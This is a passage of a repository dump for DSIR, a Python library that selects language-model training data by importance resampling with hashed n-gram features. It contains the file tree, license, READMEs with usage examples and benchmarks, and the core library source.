Repository: p-lambda/dsir Branch: main Commit: 4802a1c71cdb Files: 51 Total size: 939.9 KB Directory structure: gitextract_g6u__ttu/ ├── .gitignore ├── LICENSE ├── README.md ├── data_selection/ │ ├── README.md │ ├── __init__.py │ ├── base.py │ ├── hashed_ngram_dsir.py │ └── utils.py ├── experimental/ │ ├── README.md │ ├── config.sh │ ├── data_selection/ │ │ ├── dsir_general/ │ │ │ ├── data_selection.py │ │ │ ├── run_data_selection.py │ │ │ └── utils.py │ │ ├── dsir_pipeline.py │ │ ├── heuristic_cls_pipeline.py │ │ ├── run_cmds.sh │ │ ├── run_dsir.sh │ │ ├── run_dsir_helper.sh │ │ ├── run_heuristic_cls.sh │ │ └── run_heuristic_cls_helper.sh │ ├── glue_eval/ │ │ ├── read_glue_results.py │ │ ├── run_eval_exps.sh │ │ ├── run_glue.py │ │ ├── run_glue_dist.sh │ │ └── run_glue_for_seed_task.sh │ ├── preprocessing/ │ │ ├── quality_scores/ │ │ │ ├── compute_quality_stats.py │ │ │ ├── merge_quality_scores.py │ │ │ ├── run_merge_quality_scores.sh │ │ │ ├── run_quality_stats.sh │ │ │ └── run_slurm_quality_stats.sh │ │ ├── reformat_and_chunk_data.py │ │ ├── run.sh │ │ └── run_slurm.sh │ ├── requirements.txt │ └── train/ │ ├── accelerate_config.yaml │ ├── collator.py │ ├── model.py │ ├── preprocess_general.sh │ ├── pretrain_general.sh │ ├── requirements.txt │ ├── run_pipeline.py │ ├── run_pretrain_pipeline_general.sh │ ├── run_slurm.sh │ └── trainer.py ├── pyproject.toml ├── setup.py └── tests/ ├── test_hashed_ngram.py ├── test_utils.py ├── toy_pile_data.jsonl ├── toy_target_data.jsonl └── toy_target_data_2.jsonl ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ # Byte-compiled / optimized / DLL files __pycache__/ *.py[cod] *$py.class # C extensions *.so # Distribution / packaging .Python build/ develop-eggs/ dist/ downloads/ eggs/ .eggs/ lib/ lib64/ parts/ sdist/ var/ wheels/ pip-wheel-metadata/ share/python-wheels/ *.egg-info/ .installed.cfg *.egg MANIFEST # PyInstaller # Usually these files are written by a python script from a template # before PyInstaller builds the exe, so as to inject date/other infos into it. *.manifest *.spec # Installer logs pip-log.txt pip-delete-this-directory.txt # Unit test / coverage reports htmlcov/ .tox/ .nox/ .coverage .coverage.* .cache nosetests.xml coverage.xml *.cover *.py,cover .hypothesis/ .pytest_cache/ # Translations *.mo *.pot # Django stuff: *.log local_settings.py db.sqlite3 db.sqlite3-journal # Flask stuff: instance/ .webassets-cache # Scrapy stuff: .scrapy # Sphinx documentation docs/_build/ # PyBuilder target/ # Jupyter Notebook .ipynb_checkpoints # IPython profile_default/ ipython_config.py # pyenv .python-version # pipenv # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. # However, in case of collaboration, if having platform-specific dependencies or dependencies # having no cross-platform support, pipenv may install dependencies that don't work, or not # install all needed dependencies. #Pipfile.lock # PEP 582; used by e.g. github.com/David-OConnor/pyflow __pypackages__/ # Celery stuff celerybeat-schedule celerybeat.pid # SageMath parsed files *.sage.py # Environments .env .venv env/ venv/ ENV/ env.bak/ venv.bak/ # Spyder project settings .spyderproject .spyproject # Rope project settings .ropeproject # mkdocs documentation /site # mypy .mypy_cache/ .dmypy.json dmypy.json # Pyre type checker .pyre/ wandb train/logs train/wandb train/__pycache__ glue_eval/wandb logs/ ================================================ FILE: LICENSE ================================================ MIT License Copyright (c) 2023 Sang Michael Xie Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================ # Data Selection for Language Models via Importance Resampling (DSIR) [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) [![arXiv](https://img.shields.io/badge/arXiv-2305.10429-00ff00.svg)](https://arxiv.org/abs/2302.03169) [![PyPI version](https://badge.fury.io/py/data-selection.svg)](https://badge.fury.io/py/data-selection) This repository contains the [DSIR](https://arxiv.org/abs/2302.03169) data selection tool for selecting relevant language model training data from any raw data source given a target dataset, as well as pre-filtered datasets and some pretrained models. DSIR is built for: - fast, large-scale (trillion-token scale) data selection from large raw text datasets (Pile, RefinedWeb, RedPajama, ...). There is almost no overhead to selecting more examples (unlike retrieval), other than the time it takes to write the extra examples to disk. - selecting data that is distributed like a given target dataset (domain-specific data, Wikipedia, ...). Relevance and diversity are balanced automatically by matching the distribution of the target dataset on a feature space (e.g., n-gram frequencies). Compute needed: - 1 CPU node - a decent amount of RAM (at least 64GB for most large datasets - need to hold a few floats per example in memory) - a high number of cores. The data selection speed scales linearly with the CPU cores. ![DSIR figure](fig1.png) Code related to the DSIR paper's experiments are in the `experimental/` directory. ## Quickstart Install with pip: ``` pip install data-selection ``` Install from source by cloning this repo and installing via pip: ``` git clone git@github.com:/p-lambda/dsir pip install ./dsir ``` To select data, simply initialize a `HashedNgramDSIR` object and call the following functions: ```python from data_selection import HashedNgramDSIR raw_datasets = [] target_datasets = [] dsir = HashedNgramDSIR(raw_datasets, target_datasets, cache_dir='/path/to/dsir_cache') dsir.fit_importance_estimator(num_tokens_to_fit='auto') dsir.compute_importance_weights() dsir.resample(out_dir='resampled', num_to_sample=10000000, cache_dir='/path/to/resampled_cache') ``` Running this would write 10M documents in `jsonl` files inside an output directory named `resampled`. The files will first be written to `cache_dir` and moved to `out_dir` upon completion (set `cache_dir` to `None` to skip this step). For best performance, use uncompressed `jsonl` files stored on local file storage for all data paths and use as many CPU cores as possible, which allows each file to be virtually sharded across multiple cores. Custom functions for reading the data paths and extracting the text field from each example can be provided via the `{raw,target}_load_dataset_fn` and `{raw,target}_parse_example_fn` arguments to the constructor. The number of tokens to use for fitting the importance weight estimator can be tuned with the `num_tokens_to_fit` argument (set to `all` to fit on full dataset). Top-k retrieval instead of sampling without replacement (the default) can be done by specifying `top_k=True` to the `resample` method. (Note: for results similar to the paper, first preprocess the documents by breaking them into equal-word-length chunks, and use `tokenizer="word_tokenize"` in the `HashedNgramDSIR` constructor.) The `dsir` intermediate results (after `fit_importance_estimator` and `compute_importance_weights`) can be saved and loaded for later use, for example to resample 100M documents instead: ```python dsir.save('/path/to/dsir_params.pkl') # later on dsir.load('/path/to/dsir_params.pkl') dsir.resample(out_dir='/path/to/out_dir', num_to_sample=100000000, cache_dir='/path/to/resampled_cache') ``` The `save` method can be called at any time to save partial results. See [Usage documentation](data_selection/README.md) for full details. ## Speed benchmark on The Pile Using 1 CPU node with 96GB RAM and 96 cores, we can select data from the full (decompressed) Pile dataset in less than *4.5 hours*. The Pile dataset was first decompressed and placed onto the node's local file storage. The breakdown of timings for each step are: - *Fit importance estimator* (with `num_tokens_to_fit="auto"`): 59.28 seconds - *Compute importance weights*: 4.36 hours - *Resample 10M documents* (with `cache_dir=None` and `out_dir` is a local storage location): 353.68 seconds - *Total*: 4.47 hours Subsequent resampling with the same target data is very cheap, and the runtime does not scale with the number of documents to select (unlike retrieval). Resampling 100M documents takes the same amount of time (less than *6 minutes*) as resampling 10M documents: - *Resample 10M documents*: 353.68 seconds - *Resample 100M documents*: 352.69 seconds ## Examples To select data from the Pile: ```python from data_selection import HashedNgramDSIR # 2-digit integers up to 29 subsets = [str(i).zfill(2) for i in range(0, 30)] raw_datasets = [f'/path/to/pile/{subset}.jsonl' for subset in subsets] target_datasets = ['/path/to/target.jsonl'] dsir = HashedNgramDSIR( raw_datasets=raw_datasets, target_datasets=target_datasets, cache_dir='/path/to/dsir_cache') dsir.fit_importance_estimator(num_tokens_to_fit='auto') dsir.compute_importance_weights() dsir.resample(out_dir='/path/to/out_dir', num_to_sample=10000000, cache_dir='/path/to/resample_cache') ``` HuggingFace datasets can also be used in either `raw_datasets` or `target_datasets` (note: streaming a large raw dataset directly will be very slow - we recommend this more for target datasets): ```python from data_selection import HashedNgramDSIR from datasets import load_dataset subsets = [str(i).zfill(2) for i in range(0, 30)] raw_datasets = [f'/path/to/pile/{subset}.jsonl' for subset in subsets] target_datasets = ['codeparrot/self-instruct-starcoder', 'SetFit/mnli'] def target_load_dataset_fn(dataset): if dataset == 'codeparrot/self-instruct-starcoder': ds = load_dataset(dataset, streaming=True, split='raw') else: ds = load_dataset(dataset, streaming=True, split='train').take(10000) return ds def target_parse_example_fn(ex): if 'output' in ex: return ex['output'] else: return ex['text1'] + ' ' + ex['text2'] dsir = HashedNgramDSIR( raw_datasets=raw_datasets, target_datasets=target_datasets, cache_dir='/path/to/dsir_cache', target_parse_example_fn=target_parse_example_fn, target_load_dataset_fn=target_load_dataset_fn, separate_targets=True) dsir.fit_importance_estimator(num_tokens_to_fit='auto') dsir.compute_importance_weights() dsir.resample(out_dir='/path/to/out_dir', num_to_sample=10000000, cache_dir='/path/to/resample_cache') ``` For use-cases where the target datasets are quite different (here, a mix of code and natural language), we recommend passing in `separate_targets` into the constructor. `separate_targets` controls whether to select data separately for each target and then join them. For example, when including two target datasets, one natural language dataset and one code, the most heavily upweighted data when `separate_targets=False` may skew towards documents with a mix of natural language and code, such as StackExchange. When `separate_targets=True`, two separate DSIR runs will occur in parallel, selecting a mixture of documents from each target according to `target_proportions`. When `target_proportions` is unspecified, the number of documents to select for each target is weighted according to the token sizes of each target dataset. ## Citation Information Paper: ``` @article{xie2023data, author = {Sang Michael Xie and Shibani Santurkar and Tengyu Ma and Percy Liang}, journal = {Advances in Neural Information Processing Systems (NeurIPS)}, title = {Data Selection for Language Models via Importance Resampling}, year = {2023}, } ``` ================================================ FILE: data_selection/README.md ================================================ # Usage In general, DSIR aims to select data from the raw dataset that matches the feature distribution of the target data. Thus, the choice of feature space and importance estimator on this feature space can change the behavior of DSIR for different use-cases. Extending the base DSIR class in `base.py` is simple - follow the example in `hashed_ngram_dsir.py`. ### class data_selection.DSIR Base class for DSIR. - `raw_datasets`: List of data paths - `target_datasets`: List of data paths - `cache_dir`: Directory to store cached intermediates (log importance weights) - `raw_load_dataset_fn`: Function to load raw dataset from path - `raw_parse_example_fn`: a function that takes in an example dict and outputs a string - `target_load_dataset_fn`: Function to load target dataset from path - `target_parse_example_fn`: a function that takes in an example dict and outputs a string - `num_proc`: num cpus to parallelize over. If None, use all available cpus. - `separate_targets`: whether to select data separately for each target and then join them. For example, when including two target datasets, one natural language dataset and one code, the most heavily upweighted data when `separate_targets=False` may skew towards documents with a mix of natural language and code, such as StackExchange. When `separate_targets=True`, two separate DSIR runs will occur in parallel, selecting a mixture of documents using each target - `target_proportions`: weighting across multiple targets if separate_targets=True. The proportions are on the document level. Set to None to weight by the size (in tokens) of each target dataset. #### compute_importance_weights(self) -> None: Compute importance weights on raw dataset with self.importance_estimator. Saves importance weights in self.log_importance_weights_dir / {index}.npy in chunks indexed by index. Also saves other per-example metadata (numpy arrays) in self.perexample_metadata_dir / {index}.npy.""" #### resample(self, out_dir: str, num_to_sample: int, cache_dir: str = None, top_k: bool = False) -> None: Resample raw dataset according to importance weights. - `out_dir`: path to save resampled dataset - `num_to_sample`: number of samples to resample - `cache_dir`: path to cache resampled dataset - `top_k`: if True, get top_k examples by importance weight instead of sampling ### class data_selection.HashedNgramDSIR The main subclass we provide is DSIR with hashed n-gram features. This choice of feature space allows for efficient data selection over large datasets. - `raw_datasets`: List of data paths - `target_datasets`: List of data paths - `cache_dir`: place to store cached log_importance_weights - `load_dataset_fn`: Function to load a dataset from a path. Defaults to default_load_dataset_fn. - `parse_example_fn`: Function that takes in an example dict and returns a string. Defaults to returning the "text" field of the example. - `num_proc`: number of processes to use for parallelization. Defaults to number of cores. - `ngrams`: N in N-grams. 2 means both unigram and bigrams. - `num_buckets`: number of buckets to hash ngrams into. - `tokenizer`: word_tokenize or wordpunct - `min_example_length`: minimum number of tokens in an example to be considered. - `target_laplace_smoothing`: Smooth the target hash ngram distribution with this Laplace smoothing parameter, which is a pseudo-count. This could be useful for small target datasets. - `separate_targets`: whether to select data separately for each target and then join them. For example, when including two target datasets, one natural language dataset and one code, the most heavily upweighted data when `separate_targets=False` may skew towards documents with a mix of natural language and code, such as StackExchange. When `separate_targets=True`, two separate DSIR runs will occur in parallel, selecting a mixture of documents using each target according to `target_proportions`. - `target_proportions`: weighting across multiple targets if separate_targets=True. The proportions are on the document level. Set to None to weight by the size in tokens of each target dataset #### fit_importance_estimator(self, num_tokens_to_fit: Union[str, int] = 'auto') -> None: Fit the importance estimator. - `num_tokens_to_fit`: number of tokens to fit the raw dataset importance estimator on. Set to "all" to fit on all tokens, and "auto" to determine the number of tokens to fit on automatically (100k * num_buckets). Set to an integer to fit on that many tokens. ================================================ FILE: data_selection/__init__.py ================================================ try: import importlib.metadata as importlib_metadata except ModuleNotFoundError: import importlib_metadata __version__ = importlib_metadata.version('data-selection') from .base import DSIR from .hashed_ngram_dsir import HashedNgramDSIR ================================================ FILE: data_selection/base.py ================================================ # base DSIR class import os from typing import List, Optional, Dict, Callable, Iterable, Union import multiprocessing as mp from pathlib import Path import shutil import pickle import json import warnings import numpy as np from tqdm import tqdm from data_selection.utils import parallelize from data_selection import __version__ def default_load_dataset_fn(path: str) -> Iterable[Dict]: """Load jsonl dataset from path Args: path (str): path to dataset file """ with open(path, 'r') as f: for line in f: if len(line) > 0: yield json.loads(line) def default_parse_example_fn(ex: Dict) -> str: """Default parse function from example dict to string Args: ex (Dict): example dict """ return ex['text'] def _iterate_virtually_sharded_dataset(dataset: Iterable, num_shards: int, shard_idx: int): for i, ex in enumerate(dataset): if i % num_shards == shard_idx: yield ex del dataset class DSIR(): """Base class for data selection with importance resampling (DSIR).""" __version__ = __version__ def __init__(self, raw_datasets: List[str], target_datasets: List[str], cache_dir: str, raw_load_dataset_fn: Callable[[str], Iterable[Dict]] = default_load_dataset_fn, raw_parse_example_fn: Callable[[Dict], str] = default_parse_example_fn, target_load_dataset_fn: Callable[[str], Iterable[Dict]] = default_load_dataset_fn, target_parse_example_fn: Callable[[Dict], str] = default_parse_example_fn, num_proc: Optional[int] = None, separate_targets: bool = False, target_proportions: Optional[List[float]] = None) -> None: """ Args: raw_datasets: List of data paths target_datasets: List of data paths cache_dir: Directory to store cached intermediates (log importance weights) raw_load_dataset_fn: Function to load raw dataset from path raw_parse_example_fn: a function that takes in an example dict and outputs a string target_load_dataset_fn: Function to load target dataset from path target_parse_example_fn: a function that takes in an example dict and outputs a string num_proc: num cpus to parallelize over. If None, use all available cpus. separate_targets: whether to select data separately for each target and then join them target_proportions: weighting across multiple targets if separate_targets=True. Set to None to weight by the size of each target dataset """ self.raw_datasets = raw_datasets self.target_datasets = target_datasets self.raw_parse_example_fn = raw_parse_example_fn self.raw_load_dataset_fn = raw_load_dataset_fn self.target_parse_example_fn = target_parse_example_fn self.target_load_dataset_fn = target_load_dataset_fn self.cache_dir = Path(cache_dir) if num_proc is None: try: # doesn't work on some systems self.num_proc = len(os.sched_getaffinity(0)) except AttributeError: self.num_proc = mp.cpu_count() else: self.num_proc = num_proc self.log_importance_weights_dir = self.cache_dir / 'log_importance_weights' self.log_importance_weights_dir.mkdir(parents=True, exist_ok=True) self.perexample_metadata_dir = self.cache_dir / 'perexample_metadata' self.separate_targets = separate_targets self.target_proportions = target_proportions if self.target_proportions is not None: self.target_proportions = np.asarray(self.target_proportions) / np.sum(self.target_proportions) def _get_virtually_sharded_datasets(self, datasets: List[str]): """Return virtual shard parameters.""" num_proc_per_shard = max(1, self.num_proc // len(datasets)) if self.num_proc >= len(datasets): remainder = self.num_proc % len(datasets) else: remainder = 0 overall_idx = 0 shard_params = [] for i, dataset in enumerate(datasets): curr_num_proc = num_proc_per_shard if i < remainder: curr_num_proc += 1 for j in range(curr_num_proc): shard_params.append({'path': dataset, 'shard_idx': j, 'num_shards': curr_num_proc, 'overall_idx': overall_idx}) overall_idx += 1 return shard_params def featurizer(self, text: str) -> np.ndarray: """Takes a string and outputs a feature vector.""" raise NotImplementedError def importance_estimator(self, features: np.ndarray) -> Union[float, np.ndarray]: """Takes a feature vector and outputs an importance weight.""" raise NotImplementedError def get_perexample_metadata(self, ex: Dict, features: np.ndarray) -> np.ndarray: """Get per-example metadata. Args: ex: example dict features: feature vector """ return NotImplementedError def fit_importance_estimator(self) -> None: """Fits parameters needed to run self.importance_estimator. Args: """ raise NotImplementedError def compute_importance_weights(self) -> None: """Compute importance weights on raw dataset with self.importance_estimator. Saves importance weights in self.log_importance_weights_dir / {index}.npy in chunks indexed by index. Also saves other per-example metadata (numpy arrays) in self.perexample_metadata_dir / {index}.npy.""" def job(args: Dict): path = args['path'] num_shards = args['num_shards'] shard_idx = args['shard_idx'] overall_idx = args['overall_idx'] log_importance_weights = [] perexample_metadata = [] dataset = self.raw_load_dataset_fn(path) iterator = _iterate_virtually_sharded_dataset(dataset, num_shards, shard_idx) for ex in tqdm(iterator, miniters=10000, maxinterval=1000000): if self.raw_parse_example_fn is not None: text = self.raw_parse_example_fn(ex) else: text = ex features = self.featurizer(text) log_importance_weights.append(self.importance_estimator(features)) if perexample_metadata is not None: try: perexample_metadata.append(self.get_perexample_metadata(ex, features)) except NotImplementedError: perexample_metadata = None log_importance_weights = np.asarray(log_importance_weights) save_path = Path(self.log_importance_weights_dir) / f"{overall_idx}.npy" np.save(str(save_path), log_importance_weights) if perexample_metadata is not None: self.perexample_metadata_dir.mkdir(parents=True, exist_ok=True) perexample_metadata = np.asarray(perexample_metadata) save_path = Path(self.perexample_metadata_dir) / f"{overall_idx}.npy" np.save(str(save_path), perexample_metadata) sharded_raw_datasets = self._get_virtually_sharded_datasets(self.raw_datasets) parallelize(job, sharded_raw_datasets, self.num_proc) def perexample_metadata_filter(self, concat_metadata: np.ndarray) -> np.array: """Return a boolean array of examples that pass the filter according to the metadata.""" return NotImplementedError def resample(self, out_dir: str, num_to_sample: int, cache_dir: str = None, top_k: bool = False) -> None: """Resample raw dataset according to importance weights. Args: out_dir (str): path to save resampled dataset num_to_sample (int): number of samples to resample cache_dir (str): path to cache resampled dataset top_k (bool): if True, get top_k examples by importance weight instead of sampling """ if cache_dir is None: cache_dir = out_dir out_dir = Path(out_dir) cache_dir = Path(cache_dir) cache_dir.mkdir(parents=True, exist_ok=True) sharded_raw_datasets = self._get_virtually_sharded_datasets(self.raw_datasets) # load log importance weights log_importance_weights_ls = [ np.load(str(Path(self.log_importance_weights_dir) / f'{shard_params["overall_idx"]}.npy'), mmap_mode='r') for shard_params in sharded_raw_datasets] concat_log_importance_weights = np.concatenate(log_importance_weights_ls, axis=0) # filter examples by metadata first if Path(self.perexample_metadata_dir).exists(): metadata_ls = [ np.load(str(Path(self.perexample_metadata_dir) / f'{shard_params["overall_idx"]}.npy'), mmap_mode='r') for shard_params in sharded_raw_datasets] concat_metadata = np.concatenate(metadata_ls, axis=0) global_mask = self.perexample_metadata_filter(concat_metadata) del concat_metadata else: global_mask = np.ones(len(concat_log_importance_weights), dtype=bool) if self.separate_targets: # determine how many to sample per target num_to_sample_pertarget = [int(num_to_sample * p) for p in self.target_proportions] num_to_sample_pertarget[-1] += num_to_sample - sum(num_to_sample_pertarget) else: num_to_sample_pertarget = [num_to_sample] concat_log_importance_weights = concat_log_importance_weights[:, np.newaxis] chosen_mask = np.zeros(len(concat_log_importance_weights), dtype=bool) for i, curr_num_to_sample in enumerate(num_to_sample_pertarget): if curr_num_to_sample == 0: continue curr_log_importance_weights = concat_log_importance_weights[:, i] # apply filter curr_log_importance_weights = curr_log_importance_weights[global_mask] # noise the log_importance_weights (Gumbel top-k for sampling without replacement) if not top_k: curr_log_importance_weights += np.random.gumbel(size=curr_log_importance_weights.shape) # Take top-k nonzero_idxs = np.where(global_mask)[0] chosen_idxs = np.argpartition(-curr_log_importance_weights, curr_num_to_sample)[:curr_num_to_sample] chosen_idxs = nonzero_idxs[chosen_idxs] chosen_mask[chosen_idxs] = True # don't choose these examples again global_mask[chosen_idxs] = False del chosen_idxs del nonzero_idxs del concat_log_importance_weights del global_mask # split the global mask into per-dataset masks masks = [] start_idx = 0 for log_importance_weights in log_importance_weights_ls: end_idx = start_idx + len(log_importance_weights) masks.append(chosen_mask[start_idx:end_idx]) start_idx = end_idx def job(args: Dict): in_path = args['in_path'] out_path = args['out_path'] mask = args['mask'] shard_idx = args['shard_idx'] num_shards = args['num_shards'] if self.raw_load_dataset_fn.__name__ == 'default_load_dataset_fn': # faster to not load json lines into dicts curr_idx = 0 with open(out_path, 'w') as f: with open(in_path, 'r') as f_in: iterator = _iterate_virtually_sharded_dataset(f_in, num_shards, shard_idx) for line in tqdm(iterator, miniters=10000, maxinterval=1000000): if len(line) == 0: continue if mask[curr_idx]: f.write(line.strip() + '\n') curr_idx += 1 else: dataset = self.raw_load_dataset_fn(in_path) with open(out_path, 'w') as f: iterator = _iterate_virtually_sharded_dataset(dataset, num_shards, shard_idx) for i, ex in tqdm(enumerate(iterator), miniters=10000, maxinterval=1000000): if mask[i]: f.write(json.dumps(ex) + '\n') sharded_raw_datasets = self._get_virtually_sharded_datasets(self.raw_datasets) args = [{'out_path': cache_dir / f"{i}.jsonl", 'in_path': shard_params['path'], 'mask': masks[i], 'shard_idx': shard_params['shard_idx'], 'num_shards': shard_params['num_shards']} for i, shard_params in enumerate(sharded_raw_datasets)] parallelize(job, args, self.num_proc) # move the cache_dir to out_dir shutil.move(str(cache_dir), str(out_dir)) def save(self, path: str) -> None: """Save parameters to save computation""" Path(path).parent.mkdir(parents=True, exist_ok=True) with open(path, 'wb') as f: pickle.dump(self, f) def load(self, path: str, exclude_keys: Optional[List[str]] = None) -> None: """Load saved parameters. Args: path: path to saved parameters exclude_keys: keys to exclude from loading """ with open(path, 'rb') as f: obj = pickle.load(f) if obj.__version__ != self.__version__: raise warnings.warn(f"Version mismatch: Saved version: {obj.__version__} != Current version: {self.__version__}") for k, v in obj.__dict__.items(): if exclude_keys is not None and k in exclude_keys: continue setattr(self, k, v) ================================================ FILE: data_selection/hashed_ngram_dsir.py ================================================ from typing import List, Optional, Dict, Callable, Union, Iterable import hashlib from tqdm import tqdm from nltk.tokenize import WordPunctTokenizer from nltk.tokenize import word_tokenize from nltk import ngrams as get_ngrams import numpy as np from data_selection.base import ( DSIR, default_load_dataset_fn, default_parse_example_fn, _iterate_virtually_sharded_dataset, ) from data_selection.utils import parallelize wpt = WordPunctTokenizer() def hash_buckets(text: str, num_buckets: int = 10000) -> int: return int(hashlib.sha256(text.encode('utf-8')).hexdigest(), 16) % num_buckets def get_ngram_counts(line: str, n: int = 2, num_buckets: int = 10000, counts: Optional[np.ndarray] = None, tokenizer: Callable = wpt.tokenize) -> np.ndarray: '''Return ngram count features given a string. Args: line: string to get ngram counts from n: n in ngrams num_buckets: number of buckets to hash ngrams into counts: pre-initialized counts array tokenizer: tokenization function to use. Defaults to word_tokenize from nltk ''' words = tokenizer(line.lower()) if counts is None: counts = np.zeros(num_buckets, dtype=int) for w in words: counts[hash_buckets(w, num_buckets=num_buckets)] += 1 for i in range(2, n + 1): for ng in list(get_ngrams(words, i)): ng = ' '.join(ng) counts[hash_buckets(ng, num_buckets=num_buckets)] += 1 return counts class HashedNgramDSIR(DSIR): """DSIR with hashed n-gram features.""" def __init__(self, raw_datasets: List[str], target_datasets: List[str], cache_dir: str, raw_load_dataset_fn: Callable[[str], Iterable[Dict]] = default_load_dataset_fn, raw_parse_example_fn: Callable[[Dict], str] = default_parse_example_fn, target_load_dataset_fn: Callable[[str], Iterable[Dict]] = default_load_dataset_fn, target_parse_example_fn: Callable[[Dict], str] = default_parse_example_fn, num_proc: Optional[int] = None, ngrams: int = 2, num_buckets: int = 10000, tokenizer: str = 'wordpunct', min_example_length: int = 100, target_laplace_smoothing: float = 0.0, separate_targets: bool = False, target_proportions: Optional[List[float]] = None) -> None: '''Initialize the HashedNgramDSIR object. Args: raw_datasets: List of data paths target_datasets: List of data paths cache_dir: place to store cached log_importance_weights load_dataset_fn: Function to load a dataset from a path. Defaults to default_load_dataset_fn. parse_example_fn: Function that takes in an example dict and returns a string. Defaults to returning the 'text' field of the example. num_proc: number of processes to use for parallelization. Defaults to number of cores. ngrams: N in N-grams. 2 means both unigram and bigrams. num_buckets: number of buckets to hash ngrams into. tokenizer: word_tokenize or wordpunct min_example_length: minimum number of tokens in an example to be considered. target_laplace_smoothing: Smooth the target hashed ngram distribution. This parameter is a pseudo-count. This could be useful for small target datasets. separate_targets: whether to select data separately for each target and then join them target_proportions: weighting across multiple targets if separate_targets=True. Set to None to weight by the size of each target dataset ''' super().__init__( raw_datasets=raw_datasets, target_datasets=target_datasets, cache_dir=cache_dir, raw_load_dataset_fn=raw_load_dataset_fn, raw_parse_example_fn=raw_parse_example_fn, target_load_dataset_fn=target_load_dataset_fn, target_parse_example_fn=target_parse_example_fn, num_proc=num_proc, separate_targets=separate_targets, target_proportions=target_proportions) if tokenizer == 'word_tokenize': self.tokenizer = word_tokenize elif tokenizer == 'wordpunct': self.tokenizer = wpt.tokenize else: raise ValueError('tokenizer not recognized') self.ngrams = ngrams self.num_buckets = num_buckets self.min_example_length = min_example_length self.raw_probs = None self.target_probs = None self.log_diff = None self.target_laplace_smoothing = target_laplace_smoothing def featurizer(self, text: str) -> np.ndarray: return get_ngram_counts(text, tokenizer=self.tokenizer, num_buckets=self.num_buckets, n=self.ngrams) def importance_estimator(self, features: np.ndarray) -> Union[float, np.ndarray]: return np.dot(self.log_diff, features) def get_perexample_metadata(self, ex: Dict, features: np.ndarray) -> int: """Returns the example length.""" remainder = self.ngrams * (self.ngrams - 1) / 2 return (features.sum() + remainder) // self.ngrams def perexample_metadata_filter(self, concat_metadata: np.ndarray) -> np.array: """Filters out short examples.""" return concat_metadata >= self.min_example_length def _fit_bow(self, paths: List[str], num_tokens_to_fit: Optional[int] = None, load_dataset_fn: Callable[[str], Iterable[Dict]] = default_load_dataset_fn, parse_example_fn: Callable[[Dict], str] = default_parse_example_fn) -> np.ndarray: sharded_datasets = self._get_virtually_sharded_datasets(paths) def job(args: Dict): path = args['path'] num_shards = args['num_shards'] shard_idx = args['shard_idx'] counts = np.zeros(self.num_buckets).astype(int) dataset = load_dataset_fn(path) iterator = _iterate_virtually_sharded_dataset(dataset, num_shards, shard_idx) for ex in tqdm(iterator, miniters=10000, maxinterval=1000000): if parse_example_fn is not None: text = parse_example_fn(ex) else: text = ex counts = get_ngram_counts(text, n=self.ngrams, num_buckets=self.num_buckets, counts=counts, tokenizer=self.tokenizer) if num_tokens_to_fit is not None and counts.sum() > num_tokens_to_fit // len(sharded_datasets): break return counts all_counts = parallelize(job, sharded_datasets, self.num_proc) counts = sum(all_counts) return counts def fit_importance_estimator(self, num_tokens_to_fit: Union[str, int] = 'auto') -> None: '''Fit the importance estimator. Args: num_tokens_to_fit: number of tokens to fit the raw dataset importance estimator on. Set to "all" to fit on all tokens, and "auto" to determine the number of tokens to fit on automatically (100k * num_buckets). Set to an integer to fit on that many tokens. ''' if num_tokens_to_fit == 'auto': num_tokens_to_fit = 100000 * self.num_buckets elif num_tokens_to_fit == 'all': num_tokens_to_fit = None self.raw_probs = self._fit_bow( self.raw_datasets, num_tokens_to_fit=num_tokens_to_fit, parse_example_fn=self.raw_parse_example_fn, load_dataset_fn=self.raw_load_dataset_fn) self.raw_probs = self.raw_probs / self.raw_probs.sum() if self.separate_targets: target_probs = [] target_proportions = [] for target_dataset in self.target_datasets: curr_target_probs = self._fit_bow( [target_dataset], num_tokens_to_fit=num_tokens_to_fit, parse_example_fn=self.target_parse_example_fn, load_dataset_fn=self.target_load_dataset_fn) target_proportions.append(curr_target_probs.sum()) # smoothing curr_target_probs = curr_target_probs + self.target_laplace_smoothing curr_target_probs = curr_target_probs / curr_target_probs.sum() target_probs.append(curr_target_probs) target_proportions = np.asarray(target_proportions) if self.target_proportions is None: self.target_proportions = target_proportions / target_proportions.sum() self.target_probs = np.asarray(target_probs) else: self.target_probs = self._fit_bow( self.target_datasets, num_tokens_to_fit=None, # fit on all tokens for target parse_example_fn=self.target_parse_example_fn, load_dataset_fn=self.target_load_dataset_fn) # smoothing self.target_probs = self.target_probs + self.target_laplace_smoothing self.target_probs = self.target_probs / self.target_probs.sum() self.log_diff = np.log(self.target_probs + 1e-8) - np.log(self.raw_probs + 1e-8) ================================================ FILE: data_selection/utils.py ================================================ from typing import Callable, List, Any from joblib import Parallel, delayed def parallelize(fn: Callable, args: List[Any], num_proc: int): return Parallel(n_jobs=num_proc)(delayed(fn)(arg) for arg in args) ================================================ FILE: experimental/README.md ================================================ # Code for the DSIR paper This directory has the code for preprocessing, data selection, pretraining, and fine-tuning for the experiments in the DSIR paper. Pre-filtered datasets and pre-trained models from the paper are linked in the README at the outer directory. ## Code for data selection To select your own subset of The Pile, all you need is a small set of target examples representing the kind of data you want to select. This target dataset should be in jsonl format -- it can also be a dataset from HuggingFace Datasets. Note that our current workflow requires about 2TB of storage space --- we're working on reducing this! All the code should be run from the `experimental/` directory. 1. Create a virtualenv using `requirements.txt`: `virtualenv .venv; source .venv/bin/activate; pip install -r 